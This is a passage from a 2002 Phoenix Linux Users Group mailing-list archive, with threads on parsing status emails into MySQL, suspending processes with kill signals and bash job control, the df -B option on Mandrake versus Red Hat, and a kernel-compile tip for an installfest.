to use "you all" as a sounding board for a project I am > working on, if that is ok? > > We have developed a machine that will be deployed in a few thousand > locations around the US, Puerto Rico, and Bahamas. This product will be > connected to a phone line and will call a linux server that we set up as > a PPP dial in server. Once connected, the product will send a small > email detailing production amounts and status information. The machine > will also receive an email, if any, for parameter changes, etc. This > all works well. > > Once the server receives the email I want to parse that information and > put it into MySql. The status of these machines can be viewed via the > web using apache and PHP4. > > What I would like some advice on, what is the better method of parsing > the email and putting it into MySql? > > Its not that I don't have many options... I have too many. > > Procmail -> awk/sed -> PHP4 script -> MySql > > Perl -> MySql > > And many other combination of tools. I am leaning towards a Perl -> > MySql solution for the simplicity; however, I want to know if anyone > else has something that might be better. Perhaps Python? -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:27:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 13 Jun 2002 09:27:46 -0700 (MST) Subject: Job control commands Message-ID: Thinking back to the days of RSTS-E (DEC PDP-11, the first timeshare computer I used) is there a Unix-y way to: * Completely suspend a running task - not just a low priority but totally stop it until it's later restarted * Attach a task from another terminal to the one I'm at now (I.e., I start emacs on virtual terminal 3 and I want to move it to virtual terminal 2) \\/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:35:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 13 Jun 2002 09:35:35 -0700 Subject: VRML question Message-ID: <3D08C9D7.B0E6A0EC@leml.asu.edu> I'm playing with some PD software that dumps stuff out in VRML. Can people make suggestions on VRML viewers/brousers? Is there a konquerer or Netscape plugin? Thanks, EBo -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:02:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 13 Jun 2002 10:02:29 -0700 (MST) Subject: Suggestions? In-Reply-To: <20020613110301.A26829@lilly.csoft.net> Message-ID: Mike, php works quite nicely at the command line. If you are to devote resources to the apache/php side of the project, reuse this resource on the script/command line side of the project. I do all of my data parsing with command line php scripts, very handy. Database side, I'd look at postgresql depending on the level of complexity of the schema and what is needed in terms of stored procedures. If you stick with mysql, look closely at using tables capable of transactions and rollbacks... I'd be assuming that a "jurassic park" event would occur at least once in the lifecycle of each of these systems, don't wanna loose data because the electricity failed. More or less by default, postgresql handles power failures well. So does mysql if you choose carefully. My two cents, code the email parsing side in C++, something small and fast. Parsing email in ++ isn't too difficult. - t ---------------------------------------- I have just completed a project where I had to parse out an email message and dump it into a MySQL db. I find it hard to go wrong with Perl -> MySQL v/r Mike On Thu, Jun 13, 2002 at 08:37:35AM -0700, James Shaker wrote: Hello All, I would like to use "you all" as a sounding board for a project I am working on, if that is ok? We have developed a machine that will be deployed in a few thousand locations around the US, Puerto Rico, and Bahamas. This product will be connected to a phone line and will call a linux server that we set up as a PPP dial in server. Once connected, the product will send a small email detailing production amounts and status information. The machine will also receive an email, if any, for parameter changes, etc. This all works well. Once the server receives the email I want to parse that information and put it into MySql. The status of these machines can be viewed via the web using apache and PHP4. What I would like some advice on, what is the better method of parsing the email and putting it into MySql? Its not that I don't have many options... I have too many. Procmail -> awk/sed -> PHP4 script -> MySql Perl -> MySql And many other combination of tools. I am leaning towards a Perl -> MySql solution for the simplicity; however, I want to know if anyone else has something that might be better. Perhaps Python? Thank "you all" for your time, James james@vartek-corp.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:12:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 13 Jun 2002 12:12:27 -0400 (EDT) Subject: Job control commands In-Reply-To: Message-ID: partial answer to number 1. Stop Process #488 kill -SIGSTOP 488 In Bash, restart job #4 bg %4 Note that process number is the system process number, job number is the job number in that instance of Bash. To get one from the other: In Bash, list jobs with process number: jobs -l On Thu, 13 Jun 2002, William Lindley wrote: > Thinking back to the days of RSTS-E (DEC PDP-11, the first timeshare > computer I used) is there a Unix-y way to: > > * Completely suspend a running task - not just a low priority > but totally stop it until it's later restarted > * Attach a task from another terminal to the one I'm at now > (I.e., I start emacs on virtual terminal 3 and I want to move it > to virtual terminal 2) > > \\/ > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:20:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 10:20:51 -0700 Subject: Job control commands In-Reply-To: ; from wlindley@wlindley.com on Thu, Jun 13, 2002 at 09:27:46AM -0700 References: Message-ID: <20020613102051.A2131@nadesico> On Thu, Jun 13, 2002 at 09:27:46AM -0700, William Lindley wrote: > Thinking back to the days of RSTS-E (DEC PDP-11, the first timeshare > computer I used) is there a Unix-y way to: > > * Completely suspend a running task - not just a low priority > but totally stop it until it's later restarted Sure -- do this: [foo@bar]$ emacs [1]+ Stopped emacs [foo@bar]$ _ The program that you suspended with Control-Z will remain stopped until you bring it back into the foreground (fg ), or put it into the background (bg ). A listing of jobs and their ids that are either backgrounded or stopped is available by using the jobs command. Note that this is (AFAIK) bash-only syntax. Job control is a function of the shell, not the OS. > * Attach a task from another terminal to the one I'm at now > (I.e., I start emacs on virtual terminal 3 and I want to move it > to virtual terminal 2) This, I believe, is not possible to do. Since a program actually is attached to a /dev/ptyXX or /dev/vc/XX device, the only way it may be possible is if the program itself has code to do so. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:44:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) Subject: install fest suggestion Message-ID: <20020613174452.35996.qmail@web10608.mail.yahoo.com> Hello Linux Users - I was wondering if anyone cared to give demonstrations on the proper way of compiling a Linux Kernel during the installfest (I'm looking forward to it btw). I'm starting get a 'feel' for Linux, and I've read HOW_TO's and various articles on compiling, but they're all different. I've downloaded articles from ZDNET and techrepublic as well. These articles say different things which would confuse a Linux beginner. My thinking is that some people that will show up at the intallfest are Linux 'newbies' and would jump at a chance to watch Linux users who have been doing this a while demonstrate some Linux skills. Besides Kernal compiling and basic bash commands, what else should a Linux user know? Thanks in advance -Alpha ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:44:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 13 Jun 2002 10:44:33 -0700 (MST) Subject: Job control commands In-Reply-To: Message-ID: On Thu, 13 Jun 2002, Robert Bushman wrote: > partial answer to number 1. > > Stop Process #488 > kill -SIGSTOP 488 Aha, "man 7 signal" gave me the clue to the remainder of the problem -- since I'm not necessarily the process owner (I might be 'root' on some totally other terminal) the following works: # kill -SIGSTOP 488 stops the process. If attached to a user on a terminal, will see a "stopped" message. # kill -SIGCONT 488 restarts the process. Strangely, if user types "jobs" the list will show the process as being stopped even though it is actually running. Thanks! \\/ p.s. why do the manpages say, "See signal(7)" but you have to type "man 7 signal" instead of "man signal(7)" like you'd expect? Pet peeve. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:59:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Thu, 13 Jun 2002 10:59:26 -0700 Subject: a df option question Message-ID: <15624.56702.739725.690008@bela.interhack.net> I have a couple of students using Mandrake on laptops who reported to me that df -B MB is a valid option for df on their system. They even supply output showing what it does. I've never heard of such an option in any version of Unix I've ever used. Mandrake is based on Red Hat, which uses the GNU tools for all the most standard utilities, right? Does anyone know anything about this? I'd love to see a df(1) man page off a Mandrake system. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:30:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 11:30:16 -0700 Subject: a df option question In-Reply-To: <15624.56702.739725.690008@bela.interhack.net>; from lynn.newton@cox.net on Thu, Jun 13, 2002 at 10:59:26AM -0700 References: <15624.56702.739725.690008@bela.interhack.net> Message-ID: <20020613113016.A2210@nadesico> On Thu, Jun 13, 2002 at 10:59:26AM -0700, Lynn David Newton wrote: > > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. I'm using a stock copy of GNU's fileutils on my LFS system -- df -B MB is not a valid option, and neither is just plain 'ol df -B. Mandrake or RedHat must have patched them (like they _always_ seem to do...). -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:35:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 13 Jun 2002 11:35:44 -0700 Subject: a df option question In-Reply-To: <15624.56702.739725.690008@bela.interhack.net> References: <15624.56702.739725.690008@bela.interhack.net> Message-ID: <0206131135441H.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - From a man df | more on my M8.0 system: DF(1) FSF DF(1) NAME df - report filesystem disk space usage SYNOPSIS df [OPTION]... [FILE]... DESCRIPTION This manual page documents the GNU version of df. df dis­ plays the amount of disk space available on the filesystem containing each file name argument. If no file name is given, the space available on all currently mounted filesystems is shown. Disk space is shown in 1K blocks by default, unless the environment variable POSIXLY_CORRECT is set, in which case 512-byte blocks are used. If an argument is the absolute file name of a disk device node containing a mounted filesystem, df shows the space available on that filesystem rather than on the filesystem containing the device node (which is always the root filesystem). This version of df cannot show the space available on unmounted filesystems, because on most kinds of systems doing so requires very nonportable intimate knowledge of filesystem structures. OPTIONS Show information about the filesystem on which each FILE resides, or all filesystems by default. -a, --all include filesystems having 0 blocks --block-size=SIZE use SIZE-byte blocks -h, --human-readable print sizes in human readable format (e.g., 1K 234M 2G) -H, --si likewise, but use powers of 1000 not 1024 -i, --inodes list inode information instead of block usage -k, --kilobytes like --block-size=1024 -l, --local limit listing to local filesystems -m, --megabytes like --block-size=1048576 --no-sync do not invoke sync before getting usage info GNU fileutils 4.0p March 2001 1 DF(1) FSF DF(1) (default) -P, --portability use the POSIX output format --sync invoke sync before getting usage info -t, --type=TYPE limit listing to filesystems of type TYPE -T, --print-type print filesystem type -x, --exclude-type=TYPE limit listing to filesystems not of type TYPE -v (ignored) --help display this help and exit --version output version information and exit AUTHOR Written by Torbjorn Granlund, David MacKenzie, Larry McVoy, and Paul Eggert. REPORTING BUGS Report bugs to . COPYRIGHT Copyright © 1999 Free Software Foundation, Inc. This is free software; see the source for copying condi­ tions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. SEE ALSO The full documentation for df is maintained as a Texinfo manual. If the info and df programs are properly installed at your site, the command info df should give you access to the complete manual. GNU fileutils 4.0p March 2001 2 On Thursday 13 June 2002 10:59, you wrote: > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQjmASsk3ywszI1FEQKTegCgyXj0F6+6Bc29dx+aH1bDhvlxNAgAoLT+ MxUCeon0WFV3/XhcIozPbBZI =mVT7 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:36:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 13 Jun 2002 11:36:16 -0700 Subject: a df option question In-Reply-To: <15624.56702.739725.690008@bela.interhack.net> References: <15624.56702.739725.690008@bela.interhack.net> Message-ID: <200206131136.16724.zen2now@qwest.net> nor have i, my RH7.1, 7.2 and 7.3 boxes all report: df -b MB df: invalid option -- b Try `df --help' for more information what version of mdk are they running? slr On Thursday 13 June 2002 10:59 am, Lynn David Newton wrote: > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:39:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 14:39:13 -0400 Subject: a df option question Message-ID: On my Red Hat 7.3 box, df doesn't have a -B option. df --version gives: df (fileutils) 4.1 Written by Torbjorn Granlund, David MacKenzie, Larry McVoy, and Paul Eggert. Copyright (C) 2001 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Have them do that with the --version option and the --help output. What does it say? Alan On Thu, 13 Jun 2002 11:30:16 -0700 mondoshawan@tank.dyndns.org wrote: On Thu, Jun 13, 2002 at 10:59:26AM -0700, Lynn David Newton wrote: > > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. I'm using a stock copy of GNU's fileutils on my LFS system -- df -B MB is not a valid option, and neither is just plain 'ol df -B. Mandrake or RedHat must have patched them (like they _always_ seem to do...). -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:43:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 14:43:49 -0400 Subject: a df option question Message-ID: On my Red Hat 7.3 box, df doesn't have a -B option. df --version gives: df (fileutils) 4.1 Written by Torbjorn Granlund, David MacKenzie, Larry McVoy, and Paul Eggert. Copyright (C) 2001 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Have them do that with the --version option and the --help output. What does it say? Alan On Thu, 13 Jun 2002 11:30:16 -0700 mondoshawan@tank.dyndns.org wrote: On Thu, Jun 13, 2002 at 10:59:26AM -0700, Lynn David Newton wrote: > > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. I'm using a stock copy of GNU's fileutils on my LFS system -- df -B MB is not a valid option, and neither is just plain 'ol df -B. Mandrake or RedHat must have patched them (like they _always_ seem to do...). -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:47:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Thu, 13 Jun 2002 14:47:12 -0400 Subject: Suggestions? Message-ID: <20020613184712.WXGS3893.lakemtao05.cox.net@smtp.central.cox.net> I'm going to say Ruby just because someone else said python. But really since you already seem to be comfortable with php why not just use php to do it? Carl P. ============================================================ From: Greg Date: 2002/06/13 Thu PM 12:16:35 EDT To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Suggestions? As an absolute Python biggot I would do python -> mysql Greg Mike wrote: >I have just completed a project where I had to parse >out an email message and dump it into a MySQL db. I find it hard to go wrong >with Perl -> MySQL > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:51:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 13 Jun 2002 11:51:56 -0700 (MST) Subject: a df option question In-Reply-To: <20020613113016.A2210@nadesico> Message-ID: Mandrake 7.2 at least doesn't recognize a -B option to df. There is a -m option to show in megabytes, though. Mandrake 8.2 has a -m option which is just a shortcut to --block_size= ...but "-m MB" shows the list in "977K blocks" (1,000,000 blocks is about 977 * 1024) unlike -m which lists "1M blocks" (1024 * 1024 blocks). Here are the brief help pages from 7.2 and 8.2 Mandrake. \\/ http://www.wlindley.com =============== Mandrake 7.2 =============== $ df --help Usage: df [OPTION]... [FILE]... Show information about the filesystem on which each FILE resides, or all filesystems by default. -a, --all include filesystems having 0 blocks --block-size=SIZE use SIZE-byte blocks -h, --human-readable print sizes in human readable format (e.g., 1K 234M 2G) -H, --si likewise, but use powers of 1000 not 1024 -i, --inodes list inode information instead of block usage -k, --kilobytes like --block-size=1024 -l, --local limit listing to local filesystems -m, --megabytes like --block-size=1048576 --no-sync do not invoke sync before getting usage info (default) -P, --portability use the POSIX output format --sync invoke sync before getting usage info -t, --type=TYPE limit listing to filesystems of type TYPE -T, --print-type print filesystem type -x, --exclude-type=TYPE limit listing to filesystems not of type TYPE -v (ignored) --help display this help and exit --version output version information and exit Report bugs to . =============== Mandrake 8.2 =============== $ df --help Usage: df [OPTION]... [FILE]... Show information about the filesystem on which each FILE resides, or all filesystems by default. Mandatory arguments to long options are mandatory for short options too. -a, --all include filesystems having 0 blocks -B, --block-size=SIZE use SIZE-byte blocks -h, --human-readable print sizes in human readable format (e.g., 1K 234M 2G) -H, --si likewise, but use powers of 1000 not 1024 -i, --inodes list inode information instead of block usage -k like --block-size=1K -l, --local limit listing to local filesystems --no-sync do not invoke sync before getting usage info (default) -P, --portability use the POSIX output format --sync invoke sync before getting usage info -t, --type=TYPE limit listing to filesystems of type TYPE -T, --print-type print filesystem type -x, --exclude-type=TYPE limit listing to filesystems not of type TYPE -v (ignored) --help display this help and exit --version output version information and exit SIZE may be (or may be an integer optionally followed by) one of following: kB 1000, K 1024, MB 1,000,000, M 1,048,576, and so on for G, T, P, E, Z, Y. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:53:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Thu, 13 Jun 2002 18:53:36 +0000 Subject: install fest suggestion Message-ID: <20020613185336.4B4276DA21@www.fastmail.fm> I dont know if kernel compiling is a skill that every Linux user needs to know. An enormous amount can be done with most distributions before the point where one needs to know how is reached. Bash skills, however, are probably basic. It might be possible to get by without, but I would not want to try. That being said, I think the suggestion, for both Bash and Kernel Compiling, is a good one, given sufficient intrest. Bob. On Thu, 13 Jun 2002 12:30:28 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: > Message: 1 > Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) > From: Alpha Zenon Sanchez > Subject: install fest suggestion > To: plug-discuss@lists.plug.phoenix.az.us > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Hello Linux Users - > > I was wondering if anyone cared to give demonstrations > on the proper way of compiling a Linux Kernel during > the installfest (I'm looking forward to it btw). I'm > starting get a 'feel' for Linux, and I've read > HOW_TO's > and various articles on compiling, but they're all > different. I've downloaded articles from ZDNET and > techrepublic as well. These articles say different > things which would confuse a Linux beginner. > > My thinking is that some people that will show up at > the intallfest are Linux 'newbies' and would jump at > a chance to watch Linux users who have been doing this > a while demonstrate some Linux skills. > > Besides Kernal compiling and basic bash commands, what > else should a Linux user know? > > Thanks in advance > > -Alpha > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ----------------------------------------------------------- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:57:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Thu, 13 Jun 2002 11:57:33 -0700 (MST) Subject: install fest suggestion In-Reply-To: <20020613174452.35996.qmail@web10608.mail.yahoo.com> Message-ID: Well, here's a real simple way to compile your kernel. Untar the new kernel sources in /usr/local/src/ then as root do: cd /usr/local/src/linux && make menuconfig && make dep && make clean && make modules && make modules_install (that is all one command on one line - it wraps in email) That will configure, compile, and install the new kernel as /vmlinuz. It will also automatically backup your old kernel as /vmlinuz.old. You just need to make sure your LILO config is pointing to /vmlinuz for the kernel and you're all done. Once you've configured LILO, all you ever need to do is the above command and everything else happens automagically. (Disclaimer: If this blows up your dog, sours your milk, or any thing else, it's not my fault. :) I've been using this method since 1996 and it has never failed me yet. However, your mileage may vary.) ~Jay On Thu, 13 Jun 2002, Alpha Zenon Sanchez wrote: > Hello Linux Users - > > I was wondering if anyone cared to give demonstrations > on the proper way of compiling a Linux Kernel during > the installfest (I'm looking forward to it btw). I'm > starting get a 'feel' for Linux, and I've read > HOW_TO's > and various articles on compiling, but they're all > different. I've downloaded articles from ZDNET and > techrepublic as well. These articles say different > things which would confuse a Linux beginner. > > My thinking is that some people that will show up at > the intallfest are Linux 'newbies' and would jump at > a chance to watch Linux users who have been doing this > a while demonstrate some Linux skills. > > Besides Kernal compiling and basic bash commands, what > else should a Linux user know? > > Thanks in advance > > -Alpha > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- ~Jay From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 19:07:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Thu, 13 Jun 2002 12:07:33 -0700 Subject: a df option question In-Reply-To: <200206131136.16724.zen2now@qwest.net> References: <15624.56702.739725.690008@bela.interhack.net> <200206131136.16724.zen2now@qwest.net> Message-ID: <15624.60789.387418.334915@bela.interhack.net> No more responses necessary. See below. slr> nor have i, my RH7.1, 7.2 and 7.3 boxes all report: slr> df -b MB slr> df: invalid option -- b That was an upper case -B. Someone sent me a copy of a df man page, said to be from Mandrake 8.2, that does indeed document -B MB as being valid. The relevant part of the man page says: -B, --block-size=SIZE use SIZE-byte blocks ... SIZE may be (or may be an integer optionally followed by) one of following: kB 1000, K 1024, MB 1,000,000, M 1,048,576, and so on for G, T, P, E, Z, Y. Interesting. And certainly unportable. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 19:26:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 13 Jun 2002 12:26:00 -0700 Subject: a df option question In-Reply-To: References: Message-ID: <1023996367.18413.30.camel@desktop.capnet.lan> --=-aeicTWDtRM36H92KsdOB Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On Thu, 2002-06-13 at 11:43, alandd@mindspring.com wrote: > On my Red Hat 7.3 box, df doesn't have a -B=20 > option. df --version gives:=20 Mandrake 8.2 reveals: DF(1) User Commands DF(1) NAME df - report filesystem disk space usage SYNOPSIS df [OPTION]... [FILE]... DESCRIPTION This manual page documents the GNU version of df. df dis=AD plays the amount of disk space available on the filesystem containing each file name argument. If no file name is given, the space available on all currently mounted filesystems is shown. Disk space is shown in 1K blocks by default, unless the environment variable POSIXLY_CORRECT is set, in which case 512-byte blocks are used. If an argument is the absolute file name of a disk device node containing a mounted filesystem, df shows the space available on that filesystem rather than on the filesystem containing the device node (which is always the root filesystem). This version of df cannot show the space available on unmounted filesystems, because on most kinds of systems doing so requires very nonportable intimate knowledge of filesystem structures. OPTIONS Show information about the filesystem on which each FILE resides, or all filesystems by default. Mandatory arguments to long options are mandatory for short options too. -a, --all include filesystems having 0 blocks -B, --block-size=3DSIZE use SIZE-byte blocks -h, --human-readable print sizes in human readable format (e.g., 1K 234M 2G) -H, --si likewise, but use powers of 1000 not 1024 -i, --inodes list inode information instead of block usage -k like --block-size=3D1K -l, --local limit listing to local filesystems --no-sync do not invoke sync before getting usage info (default) -P, --portability use the POSIX output format --sync invoke sync before getting usage info -t, --type=3DTYPE limit listing to filesystems of type TYPE -T, --print-type print filesystem type -x, --exclude-type=3DTYPE limit listing to filesystems not of type TYPE -v (ignored) --help display this help and exit --version output version information and exit SIZE may be (or may be an integer optionally followed by) one of following: kB 1000, K 1024, MB 1,000,000, M 1,048,576, and so on for G, T, P, E, Z, Y. AUTHOR Written by Torbjorn Granlund, David MacKenzie, Larry McVoy, and Paul Eggert. REPORTING BUGS Report bugs to . COPYRIGHT Copyright =A9 2001 Free Software Foundation, Inc. This is free software; see the source for copying condi=AD tions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. SEE ALSO The full documentation for df is maintained as a Texinfo manual. If the info and df programs are properly installed at your site, the command info df should give you access to the complete manual. df (fileutils) 4.1.5 December 2001 DF(1) Thanks, to Lynn for the tip on how to clean up the output I captured. With Linux I learn something new every day, usually every hour... :) Cap --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-aeicTWDtRM36H92KsdOB Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9CPHI6He1yLs+JHwRAgC4AKCcfEnQGWH53vE+N2WXYrzxQB/1OwCgugJd 1z/PFyrg05L104T32n1UOaQ= =Yty+ -----END PGP SIGNATURE----- --=-aeicTWDtRM36H92KsdOB-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 19:33:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 13 Jun 2002 12:33:27 -0700 Subject: Suggestions? Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4A0@mail.int.fh.org> Carl Every message sent to the list by you comes this way. What character set are you using? -----Original Message----- From: Carl Parrish [mailto:cparrish@cox.net] Sent: Thursday, June 13, 2002 11:47 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Re: Suggestions? This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 19:53:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Thu, 13 Jun 2002 15:53:47 -0400 Subject: Suggestions? Message-ID: <20020613195347.ZMRX4796.lakemtao08.cox.net@smtp.central.cox.net> No clue Tom, Right now I'm using Cox's sucky Webmail too. And I haven't found a way to change Char set or even see what it is. If anyone knows how I'd be happy to change it. Carl P. ============================================================ From: Tom Achtenberg Date: 2002/06/13 Thu PM 03:33:27 EDT To: "'plug-discuss@lists.plug.phoenix.az.us'" Subject: RE: Re: Suggestions? Carl Every message sent to the list by you comes this way. What character set are you using? -----Original Message----- From: Carl Parrish [mailto:cparrish@cox.net] Sent: Thursday, June 13, 2002 11:47 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Re: Suggestions? This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:50:08 2002 From: 